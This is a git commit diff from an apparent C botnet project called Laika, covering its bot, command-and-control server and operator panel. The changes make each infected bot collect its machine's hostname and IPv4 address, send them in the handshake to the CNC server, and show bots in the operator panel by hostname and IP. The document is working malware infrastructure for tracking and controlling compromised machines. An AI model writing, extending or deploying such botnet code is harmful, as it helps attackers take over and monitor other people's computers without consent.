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Added hostname, ip info to handshake

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- Panel now lists bots by hostname & ip instead of public key
This commit is contained in:
CPunch 2022-02-15 16:57:21 -06:00
parent fb71dfb3c3
commit c21be8dfee
12 changed files with 91 additions and 19 deletions
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24
bot/src/bot.c
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@ -21,6 +21,8 @@ PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = {
struct sLaika_bot *laikaB_newBot(void) {
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
struct hostent *host;
char *tempIPBuf;
size_t _unused;
laikaP_initPList(&bot->pList);
@ -48,6 +50,24 @@ struct sLaika_bot *laikaB_newBot(void) {
LAIKA_ERROR("Failed to init cnc public key!\n");
}
/* grab hostname & ip info */
if (SOCKETERROR(gethostname(bot->peer->hostname, LAIKA_HOSTNAME_LEN))) {
laikaB_freeBot(bot);
LAIKA_ERROR("gethostname() failed!\n");
}
if ((host = gethostbyname(bot->peer->hostname)) == NULL) {
laikaB_freeBot(bot);
LAIKA_ERROR("gethostbyname() failed!\n");
}
if ((tempIPBuf = inet_ntoa(*((struct in_addr*)host->h_addr_list[0]))) == NULL) {
laikaB_freeBot(bot);
LAIKA_ERROR("inet_ntoa() failed!\n");
}
/* copy ipv4 address info */
strcpy(bot->peer->ipv4, tempIPBuf);
return bot;
}
@ -72,7 +92,9 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
laikaS_endOutPacket(bot->peer); /* force packet body to be plaintext */
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(sock, bot->peer->ipv4, LAIKA_IPV4_LEN);
laikaS_endOutPacket(bot->peer);
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)

11
cnc/src/cnc.c
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@ -7,7 +7,7 @@
#include "cnc.h"
LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES,
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN,
[LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ] = sizeof(uint8_t),
};
@ -29,6 +29,14 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
/* read peer's public key */
laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub));
/* read hostname & ipv4 */
laikaS_read(&peer->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_read(&peer->sock, peer->ipv4, LAIKA_IPV4_LEN);
/* restore null-terminator */
peer->hostname[LAIKA_HOSTNAME_LEN-1] = 0;
peer->ipv4[LAIKA_IPV4_LEN-1] = 0;
/* gen session keys */
if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0)
LAIKA_ERROR("failed to gen session key!\n")
@ -101,7 +109,6 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
/* notify connected panels of the newly connected peer */
for (i = 0; i < cnc->panelCount; i++) {
LAIKA_DEBUG("sending new peer to %lx\n", peer);
laikaC_sendNewPeer(cnc->panels[i], peer);
}
}

18
cnc/src/cpanel.c
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@ -21,22 +21,24 @@ bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) {
return true;
}
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER);
/* write the bot's pubkey & peerType */
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
laikaS_writeByte(&panel->sock, bot->type);
/* write the peer's info */
laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_write(&panel->sock, peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(&panel->sock, peer->ipv4, LAIKA_IPV4_LEN);
laikaS_writeByte(&panel->sock, peer->type);
laikaS_endOutPacket(panel);
}
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *peer) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER);
/* write the bot's pubkey */
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
laikaS_writeByte(&panel->sock, bot->type);
/* write the peer's pubkey */
laikaS_write(&panel->sock, peer->peerPub, sizeof(peer->peerPub));
laikaS_writeByte(&panel->sock, peer->type);
laikaS_endOutPacket(panel);
}

8
lib/include/lpacket.h
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@ -6,6 +6,9 @@
#define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPV4_LEN 16
/* NONCE: randomly generated uint8_t[LAIKA_NONCESIZE] */
/* first handshake between peer & cnc works as so:
@ -22,6 +25,8 @@ enum {
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
* char hostname[LAIKA_HOSTNAME_LEN];
* char ipv4[LAIKA_IPV4_LEN];
*/
LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES:
@ -34,8 +39,9 @@ enum {
LAIKAPKT_AUTHENTICATED_ADD_PEER, /* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
* char ipv4[LAIKA_IPV4_LEN];
* uint8_t peerType;
* -- reserved info later (machine info including hostname, OS, machineType, ip, etc.)
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER, /* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER

1
lib/include/lpeer.h
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@ -21,6 +21,7 @@ struct sLaika_peer {
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
struct sLaika_pollList *pList; /* pollList we're activeList in */
PeerPktHandler *handlers;
LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */

1
lib/include/lsocket.h
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@ -87,6 +87,7 @@ void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from);
bool laikaS_setNonBlock(struct sLaika_socket *sock);
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz); /* writes sz NULL bytes to the outBuf */
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */

3
lib/src/lpeer.c
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@ -17,6 +17,9 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS
peer->outStart = -1;
peer->inStart = -1;
peer->useSecure = false;
memset(peer->hostname, 0, LAIKA_HOSTNAME_LEN);
memset(peer->ipv4, 0, LAIKA_IPV4_LEN);
return peer;
}

8
lib/src/lsocket.c
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@ -176,6 +176,14 @@ void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz) {
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
}
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz) {
laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);
/* set NULL bytes */
memset(&sock->outBuf[sock->outCount], 0, sz);
sock->outCount += sz;
}
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
memcpy(buf, sock->inBuf, sz);
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);

3
panel/include/pbot.h
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@ -9,12 +9,13 @@
typedef struct sPanel_bot {
uint8_t pub[crypto_kx_PUBLICKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
PEERTYPE type;
tPanel_listItem *item;
char *name; /* heap allocated string */
} tPanel_bot;
tPanel_bot *panelB_newBot(uint8_t *pubKey);
tPanel_bot *panelB_newBot(uint8_t *pubKey, char *hostname, char *ipv4);
void panelB_freeBot(tPanel_bot *bot);
/* search connected bots by public key */

1
panel/src/main.c
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@ -23,6 +23,7 @@ void connectToCNC(void *uData) {
panel_botList = panelL_newList();
/* init tabs */
panelL_newListItem(&panel_tabList->list, NULL, "CNC Flags", NULL, NULL);
panelL_newListItem(&panel_tabList->list, panel_botList, "Bot List", NULL, NULL);
panelL_init(&panel_tabList->list);
panelL_init(panel_botList);

19
panel/src/pbot.c
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@ -4,15 +4,26 @@
#include "panel.h"
tPanel_bot *panelB_newBot(uint8_t *pubKey) {
tPanel_bot *panelB_newBot(uint8_t *pubKey, char *hostname, char *ipv4) {
tPanel_bot *bot = laikaM_malloc(sizeof(tPanel_bot));
bot->name = laikaM_malloc(256);
sodium_bin2hex(bot->name, 256, pubKey, crypto_kx_PUBLICKEYBYTES);
int length;
/* copy pubKey to bot's pubKey */
memcpy(bot->pub, pubKey, crypto_kx_PUBLICKEYBYTES);
/* copy hostname & ipv4 */
memcpy(bot->hostname, hostname, LAIKA_HOSTNAME_LEN);
memcpy(bot->ipv4, ipv4, LAIKA_IPV4_LEN);
/* restore NULL terminators */
bot->hostname[LAIKA_HOSTNAME_LEN-1] = 0;
bot->ipv4[LAIKA_IPV4_LEN-1] = 0;
/* make bot name */
length = strlen(bot->hostname) + 1 + strlen(bot->ipv4) + 1;
bot->name = laikaM_malloc(length);
sprintf(bot->name, "%s@%s", bot->hostname, bot->ipv4);
return bot;
}

13
panel/src/pclient.c
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@ -11,19 +11,24 @@ void handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
}
void handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char hostname[LAIKA_HOSTNAME_LEN], ipv4[LAIKA_IPV4_LEN];
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
uint8_t type;
/* read newly connected peer's pubKey */
laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
/* read hostname & ipv4 */
laikaS_read(&peer->sock, hostname, LAIKA_HOSTNAME_LEN);
laikaS_read(&peer->sock, ipv4, LAIKA_IPV4_LEN);
/* read peer's peerType */
type = laikaS_readByte(&peer->sock);
/* add peer */
switch (type) {
case PEER_BOT: {
tPanel_bot *bot = panelB_newBot(pubKey);
tPanel_bot *bot = panelB_newBot(pubKey, hostname, ipv4);
panelC_addBot(bot);
break;
}
@ -57,7 +62,7 @@ void handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
LAIKAPKT_SIZE panelC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t),
[LAIKAPKT_AUTHENTICATED_ADD_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */
[LAIKAPKT_AUTHENTICATED_ADD_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t) + LAIKA_HOSTNAME_LEN + LAIKA_IPV4_LEN, /* pubkey + peerType + host + ip */
[LAIKAPKT_AUTHENTICATED_RMV_PEER] = crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t), /* pubkey + peerType */
};
@ -125,6 +130,10 @@ void panelC_connectToCNC(tPanel_client *client, char *ip, char *port) {
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */
/* write stub hostname & ipv4 (since we're a panel/dummy client, cnc doesn't need this information really) */
laikaS_zeroWrite(sock, LAIKA_HOSTNAME_LEN);
laikaS_zeroWrite(sock, LAIKA_IPV4_LEN);
laikaS_endOutPacket(client->peer);
laikaS_setSecure(client->peer, true);